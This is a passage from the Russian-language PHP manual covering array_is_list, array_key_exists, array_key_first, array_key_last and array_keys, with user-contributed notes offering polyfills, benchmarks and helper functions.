foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }else{
        unset($secondarray[array_search($value,$secondarray)]);
    }
}

//$firstarray: 1, 1, 4

?>
Niels 19-Sep-2006 04:53
Here is a array_union($a, $b):

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            array_intersect($a, $b),    //         2   4
            array_diff($a, $b),         //       1   3
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>
nthitz at gmail dot com 08-Jun-2006 09:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net 07-Feb-2006 07:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p 04-Nov-2005 06:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com 10-Jun-2005 01:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
blu at dotgeek dot org 14-Oct-2004 05:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z? da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

    [1] => Array
        (
            [0] => Jack Smith
            [1] => Coke
        )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z? da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
t dot wiltzius at insightbb dot com 23-Jun-2004 09:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
      $key_val_int[$key] = $values[$key];
      }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com 09-Jan-2004 01:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
    $valid_ids = array ('user_id', 'item_id', 'order_id');
    if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
    {
        // do some stuff with it
    }
    else
        // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com 09-Dec-2003 10:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net 16-Jul-2003 06:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
david at audiogalaxy dot com 09-Apr-2001 04:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.


Проверяет, является ли данный array списком

  • « array_intersect
  • array_key_exists »
  • PHP Manual
  • Функции для работы с массивами
  • Проверяет, является ли данный array списком

array_is_list

(PHP 8 >= 8.1.0)

array_is_list — Проверяет, является ли данный array списком

Описание

array_is_list(array $array): bool

Определяет, является ли данный array списком. Массив (array) считается списком, если его ключи состоят из последовательных чисел от 0 до count($array)-1.

Список параметров

array

Массив (array) для проверки.

Возвращаемые значения

Возвращает true, если array является списком, в противном случае возвращает false.

Примеры

Пример #1 Пример использования array_is_list()

<?php

array_is_list([]); // true
array_is_list(['apple', 2, 3]); // true
array_is_list([0 => 'apple', 'orange']); // true

// Массив начинается не с 0
array_is_list([1 => 'apple', 'orange']); // false

// Ключи массива не по порядку
array_is_list([1 => 'apple', 0 => 'orange']); // false

// Ключи массива не являются целыми числами
array_is_list([0 => 'apple', 'foo' => 'bar']); // false

// Непоследовательные ключи
array_is_list([0 => 'apple', 2 => 'bar']); // false
?>

Примечания

Замечание:

Функция возвращает true для пустых массивов.

Смотрите также

  • array_values() - Возвращает все значения массива

User Contributed Notes

maruerru 16-Aug-2023 08:08
I think, this is the fastest polyfill:

<?php

if (!function_exists('array_is_list')) {
    function array_is_list(array $array)
    {
        return $array === array_values($array);
    }
}

?>
divinity76+spam at gmail dot com 10-May-2022 12:05
slightly optimized version of phpnet at jesseschalken dot com's excellent array_is_list:

<?php

if (!function_exists("array_is_list")) {
    function array_is_list(array $array): bool
    {
        $i = -1;
        foreach ($array as $k => $v) {
            ++$i;
            if ($k !== $i) {
                return false;
            }
        }
        return true;
    }
}

?>

benchmarks: https://3v4l.org/9BPqL

why is this faster you ask? because post-increment does more,

here is what pre-increment actually means:
step 1: increment the value by 1.
step 2: return the value.

here is what post-increment actually means:
step 1: create a copy of the original value.
step 2: increment the original value by 1.
step 3: return the copy.

another question might be "why didn't you write `if ($k !== ++$i) {` ?  ... that is a good question! turns out that ++$i;if($k!==$i){...} is faster on PHP7 than if($k !== ++$i){...} for reasons unknown to me.. (if you have an answer, feel free to email me about it!)

(i have NOT checked if PHP8/jit auto-optimize this stuff, but at least back in PHP7 it's true that pre-increment is faster than post-increment, and this polyfill is primarily for PHP7)
phpnet at jesseschalken dot com 22-Jan-2022 12:47
Polyfills that call `array_keys()`, `array_values()` or `range()` are inefficient because they create new arrays unnecessarily.

Please use this polyfill instead which creates no new arrays and only does a single pass over the given array.

<?php

if (!function_exists("array_is_list")) {
    function array_is_list(array $array): bool
    {
        $i = 0;
        foreach ($array as $k => $v) {
            if ($k !== $i++) {
                return false;
            }
        }
        return true;
    }
}

?>
info at ensostudio dot ru 13-Nov-2021 03:53
old school polyfill (:
<?php
if (!function_exists('array_is_list')) {
    function array_is_list(array $array)
    {
        if ($array === []) {
             return true;
        }
        $keys = array_keys($array);
        return $keys === array_keys($keys);
    }
}
?>
Matteo Galletti 10-Nov-2021 06:30
Polyfill implementation for PHP versions lower than 8.1.

<?php
if (!function_exists('array_is_list'))
{
    function array_is_list(array $a)
    {
        return $a === [] || (array_keys($a) === range(0, count($a) - 1));
    }
}
?>


Проверяет, существует ли в массиве заданный ключ или индекс

  • « array_is_list
  • array_key_first »
  • PHP Manual
  • Функции для работы с массивами
  • Проверяет, существует ли в массиве заданный ключ или индекс

array_key_exists

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

array_key_exists — Проверяет, существует ли в массиве заданный ключ или индекс

Описание

array_key_exists(string|int|float|bool|resource|null $key, array $array): bool

Функция array_key_exists() возвращает true, если заданный ключ (key) содержится в массиве. В параметр key разрешено передавать значение, которое допустимо в качестве индекса массива.

Список параметров

key

Проверяемое значение.

array

Массив с проверяемыми ключами.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Замечание:

Функция array_key_exists() ищет ключи только на первом уровне массива. Внутренние ключи в многомерных массивах найдены не будут.

Список изменений

Версия | Описание
8.0.0 | Параметр key теперь принимает в качестве аргументов значения bool, float, int, null, resource и string.

Примеры

Пример #1 Пример использования функции array_key_exists()

<?php

$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
echo "Массив содержит элемент «first».";
}

?>

Пример #2 Пример использования функции array_key_exists() с языковой конструкцией isset()

Конструкция языка isset() не возвращает true для ключей массива, которые ассоциированы со значением null, а функция array_key_exists() — возвращает.

<?php

$search_array = array('first' => null, 'second' => 4);

// Возвращает false
isset($search_array['first']);

// Возвращает true
array_key_exists('first', $search_array);

?>

Примечания

Замечание:

По причинам обратной совместимости функция array_key_exists() возвращает true, если ключ (key) — это свойство объекта (object), переданного в качестве параметра array. Поведение устарело в PHP 7.4.0 и удалено в PHP 8.0.0.

Проверить, содержит ли объект заданное свойство, можно функцией property_exists().

Смотрите также

  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • array_keys() - Возвращает все или некоторое подмножество ключей массива
  • in_array() - Проверяет, присутствует ли в массиве значение
  • property_exists() - Проверяет, есть ли у объекта или класса свойство

User Contributed Notes

Rumour 18-Jul-2023 02:55
In PHP7+ to find if a value is set in a multidimensional array with a fixed number of dimensions, simply use the Null Coalescing Operator: ??

So for a three dimensional array where you are not sure about any of the keys actually existing

<?php

// instead of:
$exists = array_key_exists($key1, $arr) && array_key_exists($key2, $arr[$key1]) && array_key_exists($key3, $arr[$key1][$key2]) ;

// use:
$exists =  array_key_exists($key3, $arr[$key1][$key2]??[]) ;

?>
Julian 01-Mar-2023 03:18
When you want to check multiple array keys:

<?php

$array = [];
$array['a'] = '';
$array['b'] = '';
$array['c'] = '';
$array['d'] = '';
$array['e'] = '';

// all given keys a,b,c exists in the supplied array
var_dump(array_keys_exists(['a','b','c'], $array)); // bool(true)

function array_keys_exists(array $keys, array $array): bool
{
    $diff = array_diff_key(array_flip($keys), $array);
    return count($diff) === 0;
}
manhon824 at gmail dot com 18-May-2011 09:29
I took hours for me to debug, and I finally recognized that,

You have to reset the $array before using array_key_exists
reset($array);
array_key_exists($needle,$array);

Or you will get no reply.


Получает первый ключ массива

  • « array_key_exists
  • array_key_last »
  • PHP Manual
  • Функции для работы с массивами
  • Получает первый ключ массива

array_key_first

(PHP 7 >= 7.3.0, PHP 8)

array_key_first — Получает первый ключ массива

Описание

array_key_first(array $array): int|string|null

Получить первый ключ заданного массива array, не затрагивая внутренний указатель массива.

Список параметров

array

Массив.

Возвращаемые значения

Возвращает первый ключ массива array, если он не пустой; null в противном случае.

Примеры

Пример #1 Пример использования array_key_first()

<?php
$array = ['a' => 1, 'b' => 2, 'c' => 3];

$firstKey = array_key_first($array);

var_dump($firstKey);
?>

Результат выполнения приведённого примера:

string(1) "a"

Примечания

Подсказка

Есть несколько способов предоставить функциональность для версий до PHP 7.3.0. Можно использовать array_keys(), но это может быть довольно неэффективно. Также можно использовать reset() и key(), но это может изменить внутренний указатель массива. Эффективное решение, которое не изменяет внутренний указатель массива, записанный, как полифил:

<?php
if (!function_exists('array_key_first')) {
function array_key_first(array $arr) {
foreach($arr as $key => $unused) {
return $key;
}
return NULL;
}
}
?>

Смотрите также

  • array_key_last() - Получает последний ключ массива
  • reset() - Устанавливает внутренний указатель массива на первый элемент

User Contributed Notes

MaxiCom dot Developpement at gmail dot com 09-Dec-2023 10:41
A polyfill serves the purpose of retroactively incorporating new features from PHP releases into older PHP versions, ensuring API compatibility.

In PHP 7.3.0, the array_key_first() function was introduced, demonstrated in the following example:

<?php

$array = [
    'first_key' => 'first_value',
    'second_key' => 'second_value',
];

var_dump(array_key_first($array));

?>

The provided polyfill in this documentation allows the convenient use of array_key_first() with API compatibility in PHP versions preceding PHP 7.3.0, where the function was not implemented:

<?php

if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach ($arr as $key => $unused) {
            return $key;
        }
        return null;
    }
}

$array = [
    'first_key' => 'first_value',
    'second_key' => 'second_value',
];

var_dump(array_key_first($array));

?>
Anonymous 15-Aug-2023 11:13
The best way to polyfill array_key_first is:

$first_key = array_keys($array)[0] ?? NULL;


Получает последний ключ массива

  • « array_key_first
  • array_keys »
  • PHP Manual
  • Функции для работы с массивами
  • Получает последний ключ массива

array_key_last

(PHP 7 >= 7.3.0, PHP 8)

array_key_last — Получает последний ключ массива

Описание

array_key_last(array $array): int|string|null

Получить последний ключ заданного массива array, не затрагивая внутренний указатель массива.

Список параметров

array

Массив.

Возвращаемые значения

Возвращает последний ключ массива array, если он не пустой; null в противном случае.

Смотрите также

  • array_key_first() - Получает первый ключ массива
  • end() - Устанавливает внутренний указатель массива на последний элемент

User Contributed Notes

dracveg at gmail dot com 14-Jul-2021 05:07
Notice!

$a = array(
    1 => 1,
    0 => 0
);

echo (array_key_last($a)); // output: "0", not "1"
donaldinou at gmail dot com 02-Sep-2020 12:58
Here come my benchmark, and

return key(array_slice($array, -1));

is the my best answer for a polyfill.

<?php

function array_key_last_1(array $array) {
    // assert(!empty($array));
    return key(array_slice($array, -1));
}

function array_key_last_2(array $array) {
    return key(array_slice($array, -1, 1, true));
}

function array_key_last_3(array $array) {
    return key(array_reverse($array));
}

function array_key_last_4(array $array) {
    return array_keys($array)[count($array) - 1] ?? null;
}

function array_key_last_5(array $array) {
    return array_keys($array)[count($array) - 1] ?? null;
}

function array_key_last_6(array $array) {
    $copy = array_keys($array);
    return end($copy);
}

$result = array();
$array = range(0, 1000000);

for($i=1; $i < 7;$i++) {
  $callback = 'array_key_last_' . $i;
  $before = microtime(true);
  call_user_func_array($callback, array($array));
  $after = microtime(true);
  $time = ($after-$before);
  $result[$callback] = $time;
}

asort($result);
foreach ($result as $key => $value) {
    echo '[' . $key . ']' . $value . " sec" . PHP_EOL;
}
rnealxp at yahoo dot com 12-Apr-2020 03:18
Now that we have this function, where we once used...
<?php
$idxLast = count($arr) - 1;
?>
we can now optimize code speed by using...
<?php
$idxLast = (array_key_last($arr) ?? 0);
?>
Use-cases include lots of looping and control-structures.
If you do not know ahead of time that the array is numerically indexed, and that it could possibly be associative...safer/faster to stick with count().
williamdes at wdes dot fr 29-Mar-2020 09:43
https://www.php.net/manual/fr/function.array-key-last.php#123950

did return the first key of my array only:
"array_keys($array)[count($array) - 1] ?? null" works

I hope the example is fine for everyone else.

My array is:
[
            new NameExpression('d', 0),
            new NameExpression('f', 0),
            new NameExpression('g', 0),
]
webmaster at redinfo dot co dot kr 16-Oct-2019 06:09
// if : php ver < 7
// array_key_last

$arr = array('1'=>'bear1','2'=>array('22'=>'bear22'),'3'=>'bear3');
echo end(array_keys($arr));

// result : 3
contact at duzun dot me 03-Jul-2019 07:17
Try to beat this polyfill in terms of performance!

<?php
if( !function_exists('array_key_last') ) {
    function array_key_last(array $array) {
        if( !empty($array) ) return key(array_slice($array, -1, 1, true));
    }
}

// Bonus
if (!function_exists('array_key_first')) {
    function array_key_first(array $arr) {
        foreach($arr as $key => $unused) return $key;
    }
}
?>
ccb_bc at hotmail dot com 28-Jun-2019 04:15
<?php
    // PHP >= 7
    function _array_key_last(array $array){
        return (!empty($array)) ? array_keys($array)[count($array)-1] : null;
    }
    var_dump(_array_key_last(['PHP', 'Javascript', 'Python'])); // 2
 ?>
github / k-gun 18-Jun-2019 04:41
For those who loves tested candies;

<?php
function array_key_last(array $array) {
    // 100000 iters: ~0.068 secs
    return key(array_slice($array, -1));
    // 100000 iters: ~0.070 secs
    return key(array_reverse($array));
    // 100000 iters: ~0.088 secs
    return array_keys($array)[count($array) - 1] ?? null;
}
?>
rotexdegba007-github at yahoo dot ca 16-Jun-2019 04:54
This polyfill works for PHP 5.6+.
It is a slight modification of "wes at nospam dot example dot org"'s example:

<?php

    if( !function_exists('array_key_first') ) {

        function array_key_first(array $array) {

            if( $array === [] ) { return NULL; }

            foreach($array as $key => $_) { return $key; }
        }
    }

    if( !function_exists('array_key_last') ) {

        function array_key_last(array $array) {

            if( $array === [] ) { return null; }

            // the last 2 args to array_slice are crucial
            return array_key_first(array_slice($array, -1, null, true));
        }
    }
wes at nospam dot example dot org 09-May-2019 09:37
Correct polyfill (one that doesn't make copies of arrays, and that doesn't make use of the IAP) is:

<?php

if(!function_exists('array_key_first')){
    function array_key_first(array $array){
        if($array === []){
            return NULL;
        }
        foreach($array as $key => $_) return $key;
    }
}

if(!function_exists('array_key_last')){
    function array_key_last(array $array){
        if($array === []){
            return NULL;
        }
        return array_key_first(array_slice($array, -1));
    }
}

?>
@manzoorwanijk 27-Oct-2018 09:41
For PHP < 7.3.0 :

Will work for any type of array

<?php
if ( ! function_exists( 'array_key_last' ) ) {
    /**
     * Polyfill for array_key_last() function added in PHP 7.3.
     *
     * Get the last key of the given array without affecting
     * the internal array pointer.
     *
     * @param array $array An array
     *
     * @return mixed The last key of array if the array is not empty; NULL otherwise.
     */
    function array_key_last( $array ) {
        $key = NULL;

        if ( is_array( $array ) ) {

            end( $array );
            $key = key( $array );
        }

        return $key;
    }
}
?>
Anyvie at devlibre dot fr 08-Aug-2018 10:21
For PHP <= 7.3.0 :

if (! function_exists("array_key_last")) {
    function array_key_last($array) {
        if (!is_array($array) || empty($array)) {
            return NULL;
        }

        return array_keys($array)[count($array)-1];
    }
}


Возвращает все или некоторое подмножество ключей массива

  • « array_key_last
  • array_map »
  • PHP Manual
  • Функции для работы с массивами
  • Возвращает все или некоторое подмножество ключей массива

array_keys

(PHP 4, PHP 5, PHP 7, PHP 8)

array_keys — Возвращает все или некоторое подмножество ключей массива

Описание

array_keys(array $array): array
array_keys(array $array, mixed $filter_value, bool $strict = false): array

Функция array_keys() возвращает числовые и строковые ключи массива array.

Функция возвращает ключи только заданного значения, если определён параметр filter_value. В противном случае функция возвращает все ключи массива array.

Список параметров

array

Массив, который содержит возвращаемые ключи.

filter_value

Если задан, функция вернёт только те ключи, которые содержат это значение.

strict

Определяет, будет ли функция при поиске применять строгое сравнение (===).

Возвращаемые значения

Возвращает массив со всеми ключами массива array.

Примеры

Пример #1 Пример использования функции array_keys()

<?php

$array = array(0 => 100, "color" => "red");
print_r(array_keys($array));

$array = array("blue", "red", "green", "blue", "blue");
print_r(array_keys($array, "blue"));

$array = array(
"color" => array("blue", "red", "green"),
"size" => array("small", "medium", "large")
);
print_r(array_keys($array));

?>

Результат выполнения приведённого примера:

Array
(
    [0] => 0
    [1] => color
)
Array
(
    [0] => 0
    [1] => 3
    [2] => 4
)
Array
(
    [0] => color
    [1] => size
)

Смотрите также

  • array_values() - Возвращает все значения массива
  • array_combine() - Создаёт новый массив, используя один массив в качестве ключей, а другой для его значений
  • array_key_exists() - Проверяет, существует ли в массиве заданный ключ или индекс
  • array_search() - Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента

User Contributed Notes

vittorh at outlook dot com 17-Aug-2023 08:44
Hello friends

Guys in the array_keys function manual - https://www.php.net/manual/pt_BR/function.array-keys.php

it is described that in the second search parameter " $filter_value " is defined in mixed type, however in php 7.4 to version 8.1 when passing a $filter_value of type array, the function without returning false ( empty array )

Exemple :

$array = ['a' => 1, 'b' => 2];

var_dump(array_keys($array,array('a','b'))); // return array(0) { }
var_dump(array_keys($array,array('a','b'))); // return array(0) { }
var_dump(array_keys($array,'a')); // return array(0) { }

Debugging the code, I believe that the description of the $filter_value parameter is confusing, as it is understood that the value of the key in the array has to be the specified value and not the content of the key
Md. Abutaleb 20-Feb-2020 06:19
<?php
# array_keys() also return the key if it's boolean but the boolean will return as 1 or 0. It will return empty if get NULL value as key. Consider the following array:

$a = array(
      "first_index" => "This is the first element",
      true => 3,
      false => 2,
      4.5 => 'Something',
      "08" => 5,
      "8" => 6,
      NULL => 'Null key'
    );

print_r(array_keys($a));

Array
(
    [0] => first_index
    [1] => 1
    [2] => 0
    [3] => 4
    [4] => 08
    [5] => 8
    [6] =>
)

?>
enrique dot balleste at gmail dot com 01-Mar-2017 09:33
A nice little trick to get all of the keys who have some type of value:

$keys = array_keys($array, !null);
ayyappan dot ashok at gmail dot com 19-Apr-2016 06:18
Post By  Sven (59892) has to be changed

$array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

$rarray = array_keys($array);

print array_shift($rarray); // first

print array_pop($rarray); //thrid

print array_shift($rarray); //second

print array_pop($rarray); // no result

Code below is not valid from 5.4.0

print array_shift(array_keys($array)); Throws Strict Standards Error

Sven code works fine till 5.3.29. From 5.4.0  the standards have been changed and results too differ.

Note :
Strict Standards :  Only variables should be passed by reference

Please have look of the code in different versions

http://sandbox.onlinephpfunctions.com/code/24b5fddf14b635f1e37db69a7edffc2cbbed55e1

http://sandbox.onlinephpfunctions.com/code/f695e8f81e906b4f062b66cf9b3b83b6b620464c
Robert C. 12-Feb-2016 02:22
Keys from multi dimensional array to simple array

Want to traverse an multi dimensional array and get the keys back in a single dimensional array? This will do the trick:

<?php

    public function array_walk_keys($array, $parentKey = null, &$flattened_array = null)
    {
        if(!is_array($array))
            return $array;

        foreach( $array as $key => $val ) {
            $flattenedKeysArray[] = $key;

            if(is_array($val))
                array_walk_keys($val, $key, $flattenedKeysArray);
        }

        return $flattenedKeysArray;
    }
Paul Hirsch 30-Mar-2015 04:31
It is worth noting that array_keys does not maintain the data-type of the keys when mapping them to a new array.  This created an issue with in_array and doing  a lookup on characters from a string.  NOTE:  my lookup $array has a full map of numbers and characters - upper and lower - to do an simple faux encryption with.

<?php
$array = array(
     'e' => 'ieio'
    ,'1' => 'one'
    ,'2' => 'two'
    ,'0' => 'zero'
);
var_dump($array);
$keys = array_keys($array);
var_dump($keys);

$string = '1e0';
for ($i = 0; $i < strlen($string); $i++) {
    if (in_array($string[$i],$keys,'strict')) echo 'dude ';
    else echo 'sweet ';
}
?>

Outputs:
array (size=4)
  'e' => string 'ieio' (length=4)
  1 => string 'one' (length=3)
  2 => string 'two' (length=3)
  0 => string 'zero' (length=4)

array (size=4)
  0 => string 'e' (length=1)
  1 => int 1
  2 => int 2
  3 => int 0

sweet dude sweet

----
expected to see:
dude dude dude
Ian (maxianos at hotmail dot com) 09-Mar-2014 03:41
There's a lot of multidimensional array_keys function out there, but each of them only merges all the keys in one flat array.

Here's a way to find all the keys from a multidimensional  array while keeping the array structure. An optional MAXIMUM DEPTH parameter can be set for testing purpose in case of very large arrays.

NOTE: If the sub element isn't an array, it will be ignore.

<?php
function array_keys_recursive($myArray, $MAXDEPTH = INF, $depth = 0, $arrayKeys = array()){
       if($depth < $MAXDEPTH){
            $depth++;
            $keys = array_keys($myArray);
            foreach($keys as $key){
                if(is_array($myArray[$key])){
                    $arrayKeys[$key] = array_keys_recursive($myArray[$key], $MAXDEPTH, $depth);
                }
            }
        }

        return $arrayKeys;
    }
?>

EXAMPLE:
input:
array(
    'Player' => array(
        'id' => '4',
        'state' => 'active',
    ),
    'LevelSimulation' => array(
        'id' => '1',
        'simulation_id' => '1',
        'level_id' => '1',
        'Level' => array(
            'id' => '1',
            'city_id' => '8',
            'City' => array(
                'id' => '8',
                'class' => 'home',
            )
        )
    ),
    'User' => array(
        'id' => '48',
        'gender' => 'M',
        'group' => 'user',
        'username' => 'Hello'
    )
)

output:
array(
    'Player' => array(),
    'LevelSimulation' => array(
        'Level' => array(
            'City' => array()
        )
    ),
    'User' => array()
)
zammit dot andrew at gmail dot com 16-Nov-2013 04:06
If an array is empty (but defined), or the $search_value is not found in the array, an empty array is returned (not false, null, or -1). This may seem intuitive, especially given the documentation says an array is returned, but I needed to sanity test to be sure:

<?php

$emptyArray = array();
var_dump(array_keys($emptyArray,99)); // array (size=0) \ empty

$filledArray = array(11,22,33,42);
var_dump(array_keys($filledArray,99)); // array (size=0) \ empty

?>
phpnet at holodyn dot com 24-Oct-2013 05:17
Since 5.4 STRICT standards dictate that you cannot wrap array_keys in a function like array_shift that attempts to reference the array.

Invalid:
echo array_shift( array_keys( array('a' => 'apple') ) );

Valid:
$keys = array_keys( array('a' => 'apple') );
echo array_shift( $keys );

But Wait! Since PHP (currently) allows you to break a reference by wrapping a variable in parentheses, you can currently use:

echo array_shift( ( array_keys( array('a' => 'apple') ) ) );

However I would expect in time the PHP team will modify the rules of parentheses.
anthony at berglas dot org 03-Apr-2012 05:32
It should be noted that the inverse function to keys (which converts keys to values) is array_count_values (which converts values to keys).  This is needed to use things like array_intersect_key.  Could go in several places.  Took me a while to figure it out.
Na&#39;ven Enigma 10-Mar-2012 07:41
I was trying to figure out how to normalize an array with numerical keys.  Since I was doing for() for a lot of things, but only replacing it if the conditions were right, I wound up with off ball arrays I couldn't access.  That being said, I looked for a method of normalizing the array and couldn't find one, so I built my own.  I'm not sure how to go about making it recursive, but I didn't need that feature for my own, so I just went without recursion.

//This will take array([5] => "test1", [4] => "test2", [9] => "test3") into array([0] => "test1", [1] => "test2", [2] => "test3") so you can access it easier.
        function normalize_array($array){
          $newarray = array();
          $array_keys = array_keys($array);
          $i=0;
          foreach($array_keys as $key){
           $newarray[$i] = $array[$key];

          $i++;
          }
          return $newarray;
        }
qeremy [atta] gmail [dotta] com 05-Mar-2012 05:50
Simple ways to prefixing arrays;

<?php
function array_keys_prefix($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[$pref.$key] = $val;
    }
    return $rarr;
}

function array_keys_prefix_multi($arr, $pref = "") {
    $rarr = array();
    foreach ($arr as $key => $val) {
        $rarr[] = array_keys_prefix($val, $pref);
    }
    return $rarr;
}

// $a = array("foo" => "FOO", "bar" => "BAR", "baz" => "BAZ"); // or
$a = array("foo" => "FOO", "bar" => "BAR", "baz" => array(1,2,3));
print_r(array_keys_prefix($a, "my_"));

// db fetch...
$products = array(
    array("id" => 1, "name" => "Foo"),
    array("id" => 2, "name" => "Bar")
);
print_r(array_keys_prefix_multi($products, "product_"));
?>

Array
(
    [my_foo] => FOO
    [my_bar] => BAR
    [my_baz] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

)
Array
(
    [0] => Array
        (
            [product_id] => 1
            [product_name] => Foo
        )

    [1] => Array
        (
            [product_id] => 2
            [product_name] => Bar
        )

)
izzecold at live dot de 10-Jan-2012 09:21
<?php

/* A Function created by myself for checking multiple array keys
For Example u got an Array like $_SESSION and u wanna know if the keys 'user','pass','email' and 'type' exists.

*/

function mKeyChecker($arr,$keys=array()) {
    if(count($keys) > 1) {
        $valid_keys = 0;
        foreach($keys as $key) {
            if(array_key_exists($key,$arr)) $valid_keys++;
        }
        if($valid_keys == count($keys)) {
            return true;
        } else {
            return false;
        }
    } else if(count($keys) == 1) {
        if(array_key_exists($key[0],$arr)) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}

// Execution Example

if(mKeyChecker($_SESSION,array('id','user','email','type'))) {
    echo "is!";
} else {
    echo "not!";
}

?>
craig1231 at hotmail dot com 22-Dec-2011 03:41
A needed a function to find the keys which contain part of a string, not equalling a string...

<?php
function array_keys_contain($input, $search_value, $strict = false)
    {
        $tmpkeys = array();

        $keys = array_keys($input);

        foreach ($keys as $k)
        {
            if ($strict && strpos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
            elseif (!$strict && stripos($k, $search_value) !== FALSE)
                $tmpkeys[] = $k;
        }

        return $tmpkeys;
    }
?>
el dot quick at gmail dot com 23-Sep-2011 08:23
Sorry for my english...

I wrote a function to get keys of arrays recursivelly...

<?php
    function recursive_keys($input, $search_value = null){

        $output = ($search_value !== null ? array_keys($input, $search_value) : array_keys($input)) ;
        foreach($input as $sub){
            if(is_array($sub)){
                $output = ($search_value !== null ? array_merge($output, recursive_keys($sub, $search_value)) : array_merge($output, recursive_keys($sub))) ;
            }
        }
        return $output ;
    }
?>

I hope it will be usefull

Regards
pat dot leblanc at gmail dot com 29-Aug-2011 02:05
It's worth noting that if you have keys that are long integer, such as '329462291595', they will be considered as such on a 64bits system, but will be of type string on a 32 bits system.

for example:
<?php

$importantKeys = array('329462291595' =>null, 'ZZ291595' => null);

foreach(array_keys($importantKeys) as $key){
    echo gettype($key)."\n";
}

?>

will return on a 64 bits system:
<?php
    integer
    string
?>

but on a 32 bits system:
<?php
    string
    string
?>

I hope it will save someone the huge headache I had :)
ferrerna at gmail dot com 23-Jan-2009 09:14
Here's a function I needed to collapse an array, in my case from a database query.  It takes an array that contains key-value pairs and returns an array where they are actually the key and value.

<?php

function array_collapse($arr, $x, $y) {
    $carr = array();
    while ($el = current($arr)) {
        $carr[ $el[$x] ] = $el[$y];
        next($arr);
    }
    return $carr;
}

?>

Example usage (pseudo-database code):

<?php

$query = db_query('SELECT name, value FROM properties');

$result = db_returnAll($query);

/* This will return an array like so:

[
   ['name' -> 'color', 'value' -> 'blue'],
   ['name' -> 'style', 'value' -> 'wide-format'],
   ['name' -> 'weight', 'value' -> 3.6],
   ['name' -> 'name', 'value' -> 'Waerdthing']
]

*/

$propArr = array_collapse($result, 'name', 'value');

/* Now this array looks like:

[
   ['color' -> 'blue'],
   ['style' -> 'wide-format'],
   ['weight' -> 3.6],
   ['name' -> 'Waerdthing'],

*/

?>

I found this handy for using with json_encode and am using it for my project http://squidby.com
nodarinodo at mail dot ru 03-Dec-2008 11:35
<?php
    //It's a way to get keys from values )
    $es = array("is My FullName"=>"nodar chkuaselidze (nodarinodo)", "You Are" => "I don't know", "Is My Friend" => "ruxadze");
    foreach(array_values($es) as $ess){
        echo $ess." =>";

    for($i =0; $i < count(array_keys($es, $ess)); $i++){
